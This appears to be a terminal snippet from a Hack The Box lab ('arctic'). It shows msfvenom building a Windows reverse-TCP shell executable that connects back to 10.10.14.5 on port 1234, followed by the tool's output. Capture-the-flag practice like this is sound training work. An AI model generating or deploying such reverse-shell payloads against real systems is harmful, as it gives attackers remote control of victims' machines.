msfvenom
┌──(kali㉿kali)-[~/…/htb/labs/arctic/kernelbuster]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=1234 -f exe -o pe.exe
[-] no platform was selected, choosing msf::Module::Platform::Windows from the payload
[-] no arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
payload size: 324 bytes
final size of exe file: 73802 bytes
saved as: pe.exe